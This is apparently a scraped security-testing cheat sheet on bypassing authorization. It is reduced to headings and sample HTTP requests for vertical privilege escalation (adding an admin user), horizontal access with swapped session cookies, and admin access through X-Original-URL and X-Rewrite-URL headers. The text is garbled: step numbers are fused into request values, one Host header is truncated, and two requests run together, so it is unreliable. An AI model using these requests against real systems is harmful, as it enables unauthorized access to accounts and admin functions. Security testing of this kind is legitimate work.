Bypassing Authorization Schema
Check List
Methodology
Black Box
Broken Authorization
1
2
https://www.example.com/admin/addUser.jsp3
POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com
userID=fakeuser&role=3&group=grp0014
5
6
7
8
Horizontal Bypassing Authorization
1
2
3
4
POST /account/viewSettings HTTP/1.1
Host: www.example.com
Cookie: SessionID=USERA_SESSION
username=userA5
6
7
POST /account/viewSettings HTTP/1.1
Host: www.example.com
Cookie: SessionID=USERB_SESSION
username=userA8
9
Broken Authorization via Header Handling
1
2
GET /admin HTTP/1.1
Host: www.example.com3
GET / HTTP/1.1
Host: www.example.c4
GET / HTTP/1.1
Host: www.example.com
X-Original-URL: /donotexist15
6
GET / HTTP/1.1
Host: www.example.com
X-Rewrite-URL: /donotexist27
8
GET / HTTP/1.1
Host: www.example.com
X-Original-URL: /adminGET / HTTP/1.1
Host: www.example.com
X-Rewrite-URL: /admin9
10
White Box
Cheat Sheet
Last updated